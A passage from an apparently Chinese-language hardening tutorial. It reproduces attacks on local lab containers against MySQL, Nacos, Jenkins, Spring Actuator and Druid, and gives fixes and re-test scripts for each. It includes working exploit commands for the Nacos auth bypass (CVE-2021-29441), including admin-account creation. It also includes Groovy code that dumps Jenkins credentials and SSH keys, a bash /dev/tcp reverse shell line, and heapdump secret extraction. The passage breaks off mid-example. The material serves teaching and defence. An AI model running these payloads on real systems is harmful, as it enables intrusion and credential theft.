echo " [9] 插件目录权限检查:ls -ld \$($CONN \"SHOW VARIABLES LIKE 'plugin_dir';\" | awk '{print \$2}')"
echo " 应为 dr-xr-x--- (不可写)"
# 10. 网络暴露
echo " [10] 端口暴露检查:ss -lntp | grep 3306 # 不应出现 0.0.0.0:3306"
echo ""
echo "结果:通过 $pass,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 MySQL 加固验证通过" || echo "⚠️ 还有 $fail 项需要处理"
SCRIPT
chmod +x /tmp/verify_mysql.sh
7.2.7 面试怎么讲
“数据库层面我关注两类风险。
第一类是数据泄露:拿到查询权限就能
information_schema拖库。 所以生产必须用最小权限账号——业务账号只有自己库的 CRUD,绝不给*.*和 FILE 权限。第二类是提权,也就是 UDF。 原理是 MySQL 允许加载 C 语言写的
.so插件当自定义函数, 攻击者把“能执行系统命令的 so”写进plugin_dir,然后CREATE FUNCTION sys_exec SONAME 'udf.so', 就能在 SQL 里执行SELECT sys_eval('whoami')。三个前提条件:有 FILE 权限、
secure_file_priv为空、能往plugin_dir写。 堵住任何一个就行,我们三个都堵了:secure_file_priv设成专用目录、 收回所有业务账号的 FILE 权限、plugin_dir设成只读。另外补一句,就算 UDF 成功了,拿到的通常也只是
mysql用户权限不是 root, 所以MySQL 一定要用独立低权限用户跑,这也是重要的一环。“
7.3 Nacos 未授权与配置泄露(★ Java 微服务最该关心的一节)
为什么单独给 Nacos 一节: 只要你用 Spring Cloud Alibaba,Nacos 就是你的注册中心 + 配置中心。 它里面存着所有服务的配置——包括数据库密码、Redis 密码、AK/SK、内网地址。 Nacos 没做鉴权 = 把整个公司的密码本放在大门口。
7.3.1 名词
| 名词 | 白话解释 |
|---|---|
| Nacos | 阿里开源的服务注册中心 + 配置中心。微服务启动时去找它“报到”(注册),同时从它那“取配置”(比如数据库连接串) |
| Namespace / Group / DataId | Nacos 管理配置的三级结构:命名空间(如 dev/test/prod)→ 分组(如 DEFAULT_GROUP)→ 配置 ID(如 application-dev.yml) |
| user-agent 绕过 | Nacos 的一个经典漏洞(CVE-2021-29441):它用 User-Agent 头判断是否放行,只要 UA 里包含 Nacos-Server 就跳过鉴权 |
7.3.2 搭建靶场
cd ~/vulhub/nacos/CVE-2021-29441
docker compose up -d
docker compose ps
# 预期:
# NAME SERVICE STATUS PORTS
# cve-2021-29441-nacos-1 nacos Up 127.0.0.1:8848->8848/tcp
# 探活
curl -s "http://127.0.0.1:8848/nacos/v1/console/health/readiness"
# 或者
curl -s -o /dev/null -w '%{http_code}\n' "http://127.0.0.1:8848/nacos/"
# 预期:200
7.3.3 攻击一:user-agent 绕过鉴权(CVE-2021-29441)
# ① 正常访问(未登录,应该被拒绝)
curl -s "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=10"
# 预期:
# {"timestamp":"...","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/auth/users"}
# ② ★ 加上 User-Agent: Nacos-Server 后再请求
curl -s -H "User-Agent: Nacos-Server" \
"http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=10"
# 预期输出:
# {"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[
# {"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}
# ]}
# ★ 拿到了用户列表!password 是 BCrypt 哈希
为什么会有这种漏洞? Nacos 有一个
User-Agent: Nacos-Server的内部通信机制—— Nacos 集群节点之间互相请求时,用这个 UA 来标识“自己人”,跳过鉴权。 但开发者忘了检查这个请求的来源 IP,任何人都能伪造这个 UA。安全设计教训: “我是自己人”这种声明,绝不能只靠一个请求头判断。 正确的做法是:① 检查来源 IP 是否在白名单里;② 或者用双向 TLS 证书;③ 或者用签名。
生活类比:公司门禁用“报工号“验证身份。结果外人听到了一个工号,报出来就进去了。
BCrypt 哈希能破解吗?
# nacos 的 BCrypt 哈希 $2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu
# 对应的明文是 nacos(Nacos 的默认密码)
# 验证:
python3 -c "
import bcrypt
h = b'\$2a\$10\$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu'
print(bcrypt.checkpw(b'nacos', h)) # True
print(bcrypt.checkpw(b'nacos123', h)) # False
"
7.3.4 攻击二:拖走所有配置(★ 真正致命的一步)
# ① 列出所有命名空间
curl -s -H "User-Agent: Nacos-Server" \
"http://127.0.0.1:8848/nacos/v1/console/namespaces"
# 预期:
# {"code":200,"message":null,"data":[
# {"namespace":"","namespaceShowName":"public","quota":200,"configCount":5,"type":0},
# {"namespace":"dev-id","namespaceShowName":"dev",...},
# {"namespace":"prod-id","namespaceShowName":"prod",...}
# ]}
# ② 列出某个命名空间下的所有配置
curl -s -H "User-Agent: Nacos-Server" \
"http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=&group=&pageNo=1&pageSize=100"
# 预期(节选):
# {"totalCount":5,"pageNumber":1,"pagesAvailable":1,"pageItems":[
# {"id":"123","dataId":"application-dev.yml","group":"DEFAULT_GROUP","content":"...","md5":"...",...},
# {"id":"124","dataId":"datasource.yml","group":"DEFAULT_GROUP","content":"...",...},
# ...
# ]}
# ③ ★ 读取具体配置内容(这是最有价值的一步)
curl -s -H "User-Agent: Nacos-Server" \
"http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=datasource.yml&group=DEFAULT_GROUP"
预期看到的内容(★ 这就是为什么 Nacos 泄露是 P0 级事故):
spring:
datasource:
url: jdbc:mysql://10.0.1.20:3306/prod_order?useSSL=false
username: root
password: Prod@Db#2026!Secure # ★★ 生产数据库密码!
redis:
host: 10.0.1.30
port: 6379
password: Redis@Prod#8888 # ★★ Redis 密码!
cloud:
alicloud:
access-key: LTAI5tXXXXXXXXXXXX # ★★ 阿里云 AK
secret-key: Xk9mP2vQ7nRXXXXXXXX # ★★ 阿里云 SK
oss:
bucket: company-prod-files
jwt:
secret: my-jwt-signing-key-2026 # ★★ JWT 签名密钥(能伪造任意用户身份!)
停下来算一笔账: 攻击者拿到这一份配置后,依次可以: ① 用数据库密码直连生产库(如果数据库也对公网开了)→ 拖库 ② 用 Redis 密码连接 Redis → 写 crontab → GetShell ③ 用阿里云 AK/SK → 接管整个云账号(创建子账号、开 100 台矿机、删 OSS 文件) ④ 用 JWT 密钥 → 伪造任意用户的登录凭证(包括管理员)
一份配置 = 整个公司的钥匙串。 这就是为什么 Nacos 必须做鉴权。
7.3.5 攻击三:添加用户 / RCE
# 添加一个管理员账号(为后续登录控制台做准备)
curl -s -X POST -H "User-Agent: Nacos-Server" \
"http://127.0.0.1:8848/nacos/v1/auth/users?username=hacker&password=Hack@123456"
# 预期:{"code":200,"message":null,"data":"create user ok!"}
# 用新账号登录,拿 accessToken
curl -s -X POST "http://127.0.0.1:8848/nacos/v1/auth/users/login" \
-d "username=hacker&password=Hack@123456"
# 预期:
# {"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJoYWNrZXIi...","tokenTtl":18000,"globalAdmin":true,...}
# ★ globalAdmin: true = 超级管理员
# 用这个 token 就能正常登录控制台,做任何事
部分版本还能 RCE(通过 Derby SQL 或 Hessian 反序列化),这里不展开, 因为它依赖具体版本,实战中重点是前面的配置泄露——那个对所有版本都适用。
7.3.6 修复
# nacos/conf/application.properties
# 【修复 1,★ 最重要】开启鉴权
nacos.core.auth.enabled=true
# 【修复 2】设置身份识别的密钥(★ 不设会有默认值,等于没设)
# 生成方式:openssl rand -base64 32
nacos.core.auth.server.identity.key=your-random-identity-key-Xk9mP2vQ
nacos.core.auth.server.identity.value=your-random-identity-value-7nR4tY8w
# 【修复 3】设置 JWT 密钥(★ 必须是 Base64 且至少 32 字节)
nacos.core.auth.plugin.nacos.token.secret.key=U2VjcmV0S2V5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1
# 【修复 4】关闭 user-agent 白名单(★ 修复 CVE-2021-29441 的关键)
nacos.core.auth.enable.userAgentAuthWhite=false
# 【修复 5】升级到 2.2.0+(修了大量历史漏洞)
# 版本要求:>= 2.2.0(2023 年后)
# 【修复 6】不要用默认账号密码
# 默认:nacos / nacos ★ 必须改!
docker-compose 加固版:
version: '3'
services:
nacos:
image: nacos/nacos-server:v2.3.2
container_name: nacos-secure
environment:
MODE: standalone
# ★★ 开启鉴权
NACOS_AUTH_ENABLE: "true"
NACOS_AUTH_TOKEN: "${NACOS_AUTH_TOKEN}" # 从环境变量注入
NACOS_AUTH_IDENTITY_KEY: "${NACOS_IDENTITY_KEY}"
NACOS_AUTH_IDENTITY_VALUE: "${NACOS_IDENTITY_VALUE}"
# ★ 关闭 UA 白名单
NACOS_AUTH_USER_AGENT_AUTH_WHITE_ENABLE: "false"
ports:
- "127.0.0.1:8848:8848" # ★ 只监听本地
# - "127.0.0.1:9848:9848" # gRPC 端口,2.x 需要(client 与 server 通信)
# - "127.0.0.1:9849:9849"
networks:
- lab-net
networks:
lab-net:
生成密钥:
# JWT 密钥(必须 Base64,至少 32 字节)
openssl rand -base64 32
# 输出:U2VjcmV0S2V5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTA=
# identity key/value(任意随机字符串)
openssl rand -hex 16
openssl rand -hex 16
配置中心本身的安全规范(★ 治本):
┌──────────────────────────────────────────────────────────┐
│ ★ 核心原则:配置中心里【不放明文密钥】 │
├──────────────────────────────────────────────────────────┤
│ 错误做法: │
│ datasource.password: Prod@Db#2026!Secure │
│ │
│ 正确做法(三选一): │
│ ① 配置中心只放【密文】,应用启动时用 KMS/本地密钥解密 │
│ datasource.password: ENC(AQBx8fJ2kL...) │
│ (用 Jasypt / Spring Cloud Config 的加密功能) │
│ │
│ ② 配置中心只放【引用】,真正的密钥在 KMS / Vault 里 │
│ datasource.password: ${vault:secret/data/prod/db#pw} │
│ │
│ ③ 用云厂商的【RAM 角色 / 实例角色】,代码里根本不出现 AK │
│ 应用通过 STS 临时凭证访问 OSS,凭证 1 小时过期 │
└──────────────────────────────────────────────────────────┘
Jasypt 加密配置示例:
<!-- pom.xml -->
<dependency>
<groupId>com.github.ulisesbocchio</groupId>
<artifactId>jasypt-spring-boot-starter</artifactId>
<version>3.0.5</version>
</dependency>
# application.yml(配置中心里放的是密文)
spring:
datasource:
password: ENC(Xk9mP2vQ7nR4tY8wZ1aB6cEdF3gH5jK7mN9pQ2rS4tU=)
jasypt:
encryptor:
algorithm: PBEWithHMACSHA512AndAES_256
# ★ 主密钥从环境变量注入,绝不放配置中心
password: ${JASYPT_MASTER_PASSWORD}
# 启动时注入主密钥
export JASYPT_MASTER_PASSWORD="$(openssl rand -base64 24)"
java -jar app.jar
# 加密某个值
java -cp jasypt-1.9.3.jar org.jasypt.intf.cli.JasyptPBEStringEncryptionCLI \
input="Prod@Db#2026!Secure" \
password="$JASYPT_MASTER_PASSWORD" \
algorithm=PBEWithHMACSHA512AndAES_256
7.3.7 复测脚本
cat > /tmp/verify_nacos.sh <<'SCRIPT'
#!/bin/bash
# Nacos 安全加固复测(共 8 项)
TARGET="${1:-http://127.0.0.1:8848}"
pass=0; fail=0
ok() { echo " ✅ 通过:$1"; pass=$((pass+1)); }
bad() { echo " ❌ 未通过:$1 —— $2"; fail=$((fail+1)); }
echo "=== Nacos 加固复测(共 8 项)==="
# 1. user-agent 绕过应失效(CVE-2021-29441)
R=$(curl -s -H "User-Agent: Nacos-Server" "$TARGET/nacos/v1/auth/users?pageNo=1&pageSize=10")
if echo "$R" | grep -qiE "Forbidden|403|unknown user|未授权"; then
ok "1. User-Agent: Nacos-Server 绕过失效"
else
bad "1. ★ User-Agent 绕过仍有效" "返回:${R:0:100}"
fi
# 2. 不带 UA 的未授权访问
R=$(curl -s "$TARGET/nacos/v1/auth/users?pageNo=1&pageSize=10")
if echo "$R" | grep -qiE "Forbidden|403|unknown user"; then
ok "2. 未授权访问被拒绝"
else
bad "2. 未授权可读用户列表" "返回:${R:0:100}"
fi
# 3. 未授权读配置
R=$(curl -s -H "User-Agent: Nacos-Server" "$TARGET/nacos/v1/cs/configs?dataId=&group=&pageNo=1&pageSize=10")
if echo "$R" | grep -qiE "Forbidden|403|unknown user"; then
ok "3. 未授权读配置被拒绝"
else
bad "3. ★ 未授权可列配置" "返回:${R:0:100}"
fi
# 4. 未授权创建用户
R=$(curl -s -X POST -H "User-Agent: Nacos-Server" \
"$TARGET/nacos/v1/auth/users?username=_verify_test&password=Test@123")
if echo "$R" | grep -qiE "Forbidden|403|unknown user"; then
ok "4. 未授权创建用户被拒绝"
else
bad "4. ★ 未授权可创建用户" "返回:${R:0:100}"
fi
# 5. 默认口令检查
R=$(curl -s -X POST "$TARGET/nacos/v1/auth/users/login" -d "username=nacos&password=nacos")
if echo "$R" | grep -qi "accessToken"; then
bad "5. ★ 默认口令 nacos/nacos 仍可用" "立即修改!"
else
ok "5. 默认口令已修改"
fi
# 6. 弱口令检查
for p in nacos123 Nacos@123 nacos#123 admin123; do
R=$(curl -s -X POST "$TARGET/nacos/v1/auth/users/login" -d "username=nacos&password=$p")
if echo "$R" | grep -qi "accessToken"; then
bad "6. ★ 弱口令可用:nacos/$p" ""; break
fi
done
[ $? -ne 0 ] || ok "6. 常见弱口令均不可用"
# 7. 配置内容检查(需要 token,这里提示手工检查)
echo " [7] 手工检查:登录控制台,搜索配置中是否含明文密码/AK"
echo " grep -riE 'password:|secret|access-key|accessKey' 导出的配置文件"
echo " 要求:敏感值必须是 ENC(...) 或 \${vault:...} 形式"
# 8. 版本与端口
echo " [8] 版本检查:应 >= 2.2.0"
echo " 端口检查:ss -lntp | grep 8848 # 不应有 0.0.0.0:8848"
echo " ★ 2.x 还需检查 9848/9849(gRPC)端口是否也只监听内网"
echo ""
echo "结果:通过 $pass,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 Nacos 加固验证通过" || echo "⚠️ 还有 $fail 项需要处理"
SCRIPT
chmod +x /tmp/verify_nacos.sh
7.4 Jenkins 未授权与 RCE
Jenkins 是 CI/CD 的核心,也是攻击者的“金矿”: ① 它存储了所有代码仓库的凭据(Git 账号、Docker 仓库密码、K8s 证书) ② 它有执行任意脚本的能力(构建脚本) ③ 很多公司的 Jenkins 直接暴露在公网(为了方便开发访问)
7.4.1 攻击面速览
| 入口 | 能干什么 |
|---|---|
| 未授权访问首页 | 看所有 Job 名、构建历史、源码 |
Script Console(/script) |
★ 执行任意 Groovy 脚本 = 直接 RCE |
Credentials(/credentials) |
★ 拖走所有凭据(Git/SH/数据库/K8s 证书) |
| Job 配置页 | 看构建脚本里的环境变量和密码 |
| 构建历史日志 | ★ 日志里经常明文打印密码(echo $PASSWORD) |
| CVE-2018-1000861 等 | 绕过 ACL 达到 RCE |
7.4.2 搭建靶场
cd ~/vulhub/jenkins/CVE-2018-1000861 # 未授权 RCE 环境
docker compose up -d
docker compose ps
# 预期:
# NAME SERVICE STATUS PORTS
# jenkins-8080-jenkins-1 jenkins Up 127.0.0.1:8080->8080/tcp
# 探活(未授权即可访问)
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8080/
# 预期:200/403(不同版本不同)
7.4.3 攻击一:Script Console 执行 Groovy(最直接)
如果能访问 /script(脚本命令行),就等价于拿到了服务器 Shell。
Groovy 脚本执行系统命令:
// 在 Jenkins 的 /script 页面(http://127.0.0.1:8080/script)粘贴执行
// 方式 1:最简单
println "whoami".execute().text
// 方式 2:带参数(★ 推荐,避免 shell 解析问题)
def proc = ["bash", "-c", "id; hostname; cat /etc/passwd | head -5"].execute()
println proc.in.text
// 方式 3:反弹 Shell(GetShell)
def cmd = ["bash", "-c", "bash -i >& /dev/tcp/host.docker.internal/8888 0>&1"].execute()
cmd.waitFor()
预期输出(方式 2):
uid=0(root) gid=0(root) groups=0(root)
a1b2c3d4e5f6
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
★ 关键认知:Jenkins 的 Script Console 就是设计来“执行任意 Groovy 代码”的—— 这不是漏洞,是功能。所以防御的唯一办法是不给未授权用户访问它。
这和第 6.7 节 Gateway 的 Actuator 是同一类问题: 一个强大的管理功能 + 没有访问控制 = 灾难。
7.4.4 攻击二:拖走所有凭据(★ 价值最高)
// 在 /script 执行:列出所有凭据
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.common.*
import jenkins.model.*
def creds = CredentialsProvider.lookupCredentials(
StandardUsernamePasswordCredentials.class,
Jenkins.instance,
null,
null
)
println "===== 用户名密码类凭据 ====="
for (c in creds) {
println "ID: ${c.id}"
println " 描述: ${c.description}"
println " 用户名: ${c.username}"
println " 密码: ${c.password}" // ★★ 明文!
println "---"
}
// 列出 SSH 私钥
def sshCreds = CredentialsProvider.lookupCredentials(
com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey.class,
Jenkins.instance, null, null
)
println "===== SSH 私钥 ====="
for (c in sshCreds) {
println "ID: ${c.id}"
println " 用户名: ${c.username}"
println " 私钥:\n${c.privateKey}"
}
// 列出 Secret Text(如 API Token)
def textCreds = CredentialsProvider.lookupCredentials(
org.jenkinsci.plugins.plaincredentials.StringCredentials.class,
Jenkins.instance, null, null
)
println "===== Secret Text ====="
for (c in textCreds) {
println "ID: ${c.id} 值: ${c.secret}"
}
预期输出:
===== 用户名密码类凭据 =====
ID: gitlab-cred
描述: GitLab 账号
用户名: deploy-bot
密码: Git@Deploy#2026
---
ID: harbor-cred
描述: Harbor 镜像仓库
用户名: admin
密码: Harbor@Prod#777
---
ID: prod-db
描述: 生产数据库
用户名: root
密码: Prod@Db#2026!Secure
---
===== SSH 私钥 =====
ID: prod-server-ssh
用户名: root
私钥:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxk9mP2vQ7nR4...
-----END RSA PRIVATE KEY-----
===== Secret Text =====
ID: dingtalk-token 值: a1b2c3d4e5f6g7h8i9j0...
拿到了 SSH 私钥意味着什么? 攻击者可以直接 SSH 登录所有生产服务器——不需要任何漏洞利用, 因为人家是“拿着正确的钥匙开门”。 而且这种登录在服务器日志里看起来完全正常(合法用户登录),极难发现。
7.4.5 攻击三:从构建日志里找密码
即使拿不到凭据,构建历史日志里也经常有惊喜:
# 列出所有 Job
curl -s "http://127.0.0.1:8080/api/json?tree=jobs[name,url]" | python3 -m json.tool
# 拉取某个 Job 的构建日志
curl -s "http://127.0.0.1:8080/job/my-app/lastBuild/consoleText" > /tmp/build.log
# ★ 搜索日志里的敏感信息
grep -inE "password|passwd|pwd|secret|token|api[_-]?key|access[_-]?key|私钥|密码" /tmp/build.log
常见的“日志泄露密码”场景:
# Jenkinsfile 里这么写,密码就会进日志
sh "docker login -u ${USER} -p ${PASSWORD}" # ❌ docker 会警告但不至于打印
sh "set -x; curl -u ${USER}:${PASSWORD} https://api.example.com" # ❌ set -x 会打印整条命令
echo "部署到 ${SERVER},使用密码 ${PASSWORD}" # ❌ 直接 echo
env | sort # ❌ 打印所有环境变量(含密码)
sh "mvn deploy -Dmaven.password=${PASSWORD}" # ❌ 命令显示在日志里
7.4.6 修复
【修复 1】开启认证(★ 最基本)
Manage Jenkins → Security → Configure Global Security
☑ Enable security
Security Realm: Jenkins' own user database(或 LDAP / SSO)
Authorization:
◉ Matrix-based security ← ★ 用矩阵权限,细粒度控制
匿名用户:Overall/Read 取消勾选(★ 关键)
普通开发:Job/Read, Job/Build
管理员:全部
⚠️ 不要选 "Anyone can do anything"(很多老 Jenkins 是这么配的)
⚠️ 不要选 "Logged-in users can do anything"(权限过大)
【修复 2】禁用/保护 Script Console
方案 A:用 Matrix 权限,只给 admin 的 Overall/RunScripts 权限
方案 B:用插件 Script Security Plugin(默认已装),
它要求 Groovy 脚本必须被管理员审批(In-process Script Approval)
Manage Jenkins → In-process Script Approval
方案 C:物理删除(最彻底)
rm -rf /var/jenkins_home/war/WEB-INF/...(不推荐,可能影响功能)
【修复 3】凭据加密 + 最小权限
★ Jenkins 的凭据默认是【加密存储】的(存在 credentials.xml 里,用 master.key 加密)
但 Script Console 能在运行时【解密并读出明文】——所以加密只能防"偷文件",防不了"拿 Shell"
★ 更重要的:
① 按环境隔离凭据:prod-db-cred 只允许 prod-deploy 这个 Job 用
做法:凭据配置里设置 "Scope" 和 "Restrict where this credential can be used"
② 用【Folder】隔离:不同团队的 Job 放不同 Folder,凭据不共享
③ 定期轮换:Git Token / 数据库密码每 3~6 个月换一次
【修复 4】日志脱敏
// Jenkinsfile 里:用 maskPasswords 或 withCredentials
pipeline {
agent any
stages {
stage('Deploy') {
steps {
// ✅ 正确:withCredentials 会自动在日志里把密码替换成 ****
withCredentials([usernamePassword(
credentialsId: 'prod-db',
usernameVariable: 'DB_USER',
passwordVariable: 'DB_PASS'
)]) {
sh '''
echo "连接数据库:${DB_USER}" // ✅ 用户名可以打
# 密码用环境变量引用,Jenkins 会自动脱敏
mysql -u${DB_USER} -p${DB_PASS} -h prod-db < migrate.sql
'''
}
}
}
}
options {
// ★ 全局开启构建日志的密码脱敏
maskPasswords()
}
// ❌ 错误写法:
// sh "echo 密码是 ${DB_PASS}" // 会明文打印
// sh "env | sort" // 会打印所有环境变量
}
【修复 5】网络与版本
① 不暴露公网:Jenkins 只允许从办公网/VPN 访问,
或前面挂一层反向代理做认证 + 限流
② 升级 Jenkins 和插件(Jenkins 的插件漏洞非常多!)
Manage Jenkins → Manage Plugins → 看有没有安全警告
③ Agent 与 Master 隔离:构建任务跑在 Agent 上,
即使 Agent 被攻破,Master(含凭据)不受影响
④ 定期备份 + 审计日志插件(Audit Trail Plugin)
7.4.7 复测脚本
cat > /tmp/verify_jenkins.sh <<'SCRIPT'
#!/bin/bash
# Jenkins 安全加固复测(共 9 项)
TARGET="${1:-http://127.0.0.1:8080}"
pass=0; fail=0
ok() { echo " ✅ 通过:$1"; pass=$((pass+1)); }
bad() { echo " ❌ 未通过:$1 —— $2"; fail=$((fail+1)); }
echo "=== Jenkins 加固复测(共 9 项)==="
echo "目标:$TARGET"
echo ""
# 1. 匿名访问首页
C=$(curl -s -o /tmp/_j.txt -w '%{http_code}' "$TARGET/")
if [ "$C" = "403" ] || [ "$C" = "401" ]; then ok "1. 匿名访问被拒绝(HTTP $C)"
elif grep -qi "log in\|登录\|sign in" /tmp/_j.txt; then ok "1. 首页跳转到登录页"
else bad "1. 匿名可访问首页(HTTP $C)" "应要求登录"; fi
# 2. Script Console(★ 最危险)
C=$(curl -s -o /dev/null -w '%{http_code}' "$TARGET/script")
if [ "$C" = "403" ] || [ "$C" = "401" ]; then ok "2. /script 不可访问"
else bad "2. ★ /script 可访问(HTTP $C)" "★ 等价于把服务器 Shell 给了别人,立即修复"; fi
# 3. 凭据页面
C=$(curl -s -o /dev/null -w '%{http_code}' "$TARGET/credentials/")
if [ "$C" = "403" ] || [ "$C" = "401" ]; then ok "3. /credentials 不可访问"
else bad "3. ★ 凭据页面可访问(HTTP $C)" "所有 Git/DB/K8s 密码会泄露"; fi
# 4. 系统信息
C=$(curl -s -o /dev/null -w '%{http_code}' "$TARGET/systemInfo")
if [ "$C" = "403" ] || [ "$C" = "401" ]; then ok "4. /systemInfo 不可访问"
else bad "4. 系统信息可访问(HTTP $C)" "会泄露版本、路径、环境变量"; fi
# 5. API 匿名访问
R=$(curl -s "$TARGET/api/json")
if echo "$R" | grep -qi "jobs"; then bad "5. 匿名 API 可列 Job" "返回:${R:0:80}"
else ok "5. 匿名 API 被拒绝"; fi
# 6. 构建日志
C=$(curl -s -o /dev/null -w '%{http_code}' "$TARGET/job/test/lastBuild/consoleText")
[ "$C" = "404" ] && ok "6. 构建日志不可匿名访问" || echo " ℹ️ [6] Job 不存在或可访问(HTTP $C)"
# 7. 检查 X-Protection 头(旧版 Jenkins 的 CSRF 防护头)
H=$(curl -s -D - -o /dev/null "$TARGET/" | grep -i "x-jenkins")
echo " [7] Jenkins 指纹头:${H:-无}"
echo " ⚠️ 暴露版本号会方便攻击者匹配 CVE,建议用反向代理去掉该头"
# 8. 默认口令
for u in admin:admin admin:123456 jenkins:jenkins; do
U="${u%%:*}"; P="${u##*:}"
R=$(curl -s -o /dev/null -w '%{http_code}' -u "$U:$P" "$TARGET/api/json")
[ "$R" = "200" ] && bad "8. ★ 弱口令可用:$u" "" && break
done
[ "$R" != "200" ] && ok "8. 常见弱口令不可用"
# 9. 插件与版本
echo " [9] 手工检查:"
echo " Manage Jenkins → Manage Plugins → 看是否有安全警告(红色提示)"
echo " Manage Jenkins → Security → 确认 'CSRF Protection' 已启用"
echo " 确认 'Enable authentication' 已启用且匿名无 Overall/Read 权限"
echo ""
echo "结果:通过 $pass,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 Jenkins 加固验证通过" || echo "⚠️ 还有 $fail 项需要处理"
SCRIPT
chmod +x /tmp/verify_jenkins.sh
7.5 Actuator / Druid / Swagger:Java 应用自己的“后门”
这一节最贴近你的日常开发——前面那些是运维的问题, 这一节是你写代码时的选择造成的问题。
7.5.1 Spring Boot Actuator
Actuator 是什么:Spring Boot 提供的生产监控端点,能看健康状态、环境变量、Bean 列表、线程栈、堆内存……
危险端点清单(★ 暴露任何一个都可能致命):
| 端点 | 泄露什么 | 危险等级 |
|---|---|---|
/actuator/heapdump |
★ 整个 JVM 堆内存快照(含所有密码、Token、密钥的明文!) | ★★★★★ |
/actuator/env |
所有环境变量和配置(数据库密码会被脱敏,但经常脱敏不全) | ★★★★★ |
/actuator/beans |
所有 Bean 的定义(泄露业务结构) | ★★ |
/actuator/threaddump |
所有线程的堆栈(泄露代码逻辑、SQL) | ★★★ |
/actuator/mappings |
所有 API 路径(攻击者拿到完整的接口清单) | ★★★ |
/actuator/health |
健康状态(一般无害,但可能泄露依赖组件信息) | ★ |
/actuator/loggers |
★ 可以动态改日志级别(配合其他漏洞能触发更多信息泄露) | ★★★ |
/actuator/gateway/routes |
★ 网关路由,可 RCE(6.7 节讲过) | ★★★★★ |
/actuator/restart / /shutdown |
★ 重启/关闭应用(直接 DoS) | ★★★★★ |
7.5.2 动手:从 heapdump 里捞密码(★ 最震撼的实验)
heapdump 是 JVM 的内存快照,里面所有在内存里的对象都在——包括数据库密码的 String 对象。
# 前提:你的靶场开了 heapdump(第一章的 application.yml 里故意全开了)
# ① 下载 heapdump(可能几十 MB)
curl -s -o /tmp/heapdump.hprof \
"http://127.0.0.1:8888/actuator/heapdump"
ls -lh /tmp/heapdump.hprof
# 预期:-rw-r--r-- 1 user user 45M Sep 4 04:30 /tmp/heapdump.hprof
# ② 从里面搜敏感字符串(★ 最简单粗暴但极其有效)
strings /tmp/heapdump.hprof | grep -iE "password|passwd|secret|accesskey|access_key|ak_|token" | sort -u | head -30
预期输出(★ 震撼時刻):
spring.datasource.password=Prod@Db#2026!Secure
redis.password=Redis@Prod#8888
aws.accessKeyId=LTAI5tXXXXXXXXXXXX
aws.secretAccessKey=Xk9mP2vQ7nRXXXXXXXX
jwt.secret=my-jwt-signing-key-2026
aliyun.oss.accessKey=LTAI5tYYYYYYYYYYYY
...
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInJvbGVzIjoiUk9MRV9BRE1JTiJ9.xxx ← 一个有效的 JWT!
password=zhangsan123 ← 某个用户的明文密码
为什么能拿到这些? 因为 Java 的
String对象在内存里就是普通对象, 而 Spring 把配置(application.yml里的值)解析成对象后放在内存里, heapdump 会把整个堆原样 dump 出来,包括这些 String 的内容。★ 注意:
/actuator/env里 Spring Boot 会自动脱敏(把密码显示成******), 但 heapdump 不会脱敏——它是原始内存。 所以**“env 脱敏了就安全”是错觉**。
用专业工具分析(更系统):
# 用 Eclipse MAT(Memory Analyzer Tool)打开 heapdump
# 或者用命令行工具 jhat / jvisualvm
# 更实用的:用 OQL 查询(如果装了 MAT 的命令行)
# SELECT * FROM java.lang.String s WHERE s.value.toString().matches(".*password.*")
用 Python 快速提取所有 String(比 strings 更准):
#!/usr/bin/env python3
# hprof_strings.py —— 从 heapdump 里提取所有字符串并搜敏感词
import re, sys
path = sys.argv[1]
keywords = ['password', 'passwd', 'secret', 'token', 'accesskey',
'access_key', 'ak', 'sk', 'private', 'credential', 'apikey']
found = {}
with open(path, 'rb') as f:
# HPROF 格式里字符串主要是 UTF-8,直接扫
data = f.read()
# 按 \x00 切分,找出所有可打印的字符串
for chunk in re.findall(rb'[\x20-\x7e]{6,}', data):
s = chunk.decode('ascii', errors='ignore')
low = s.lower()
for kw in keywords:
if kw in low and len(s) < 200:
found.setdefault(kw, set()).add(s)
break
for kw, vals in sorted(found.items()):
print(f"\n=== 关键词: {kw} ({len(vals)} 条) ===")
for v in list(vals)[:20]:
print(f" {v}")
7.5.3 Druid 监控页面
Druid 是什么:阿里开源的数据库连接池(druid-spring-boot-starter),
它自带一个监控页面 /druid/index.html。
# 访问监控页(很多项目直接开着,无认证)
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8888/druid/index.html
# 预期:200(说明开着)
# 能拿到什么:
# ① /druid/datasource.json → 数据库连接信息、SQL 执行情况
# ② /druid/sql.json → ★ 所有执行过的 SQL(能看到表结构、字段名,甚至数据)
# ③ /druid/weburi.json → 所有访问过的 URI
# ④ /druid/session.json → ★ 所有 Session(结合 Session 劫持可登录他人账号)
# ⑤ /druid/spring.json → Spring 的所有 Bean 和 URL 映射
Druid 的严重漏洞:Session 劫持
# 拿到 session 列表
curl -s "http://127.0.0.1:8888/druid/session.json?orderBy=&orderType=asc&page=1&perPageCount=1000000" \
| python3 -m json.tool
# 预期:
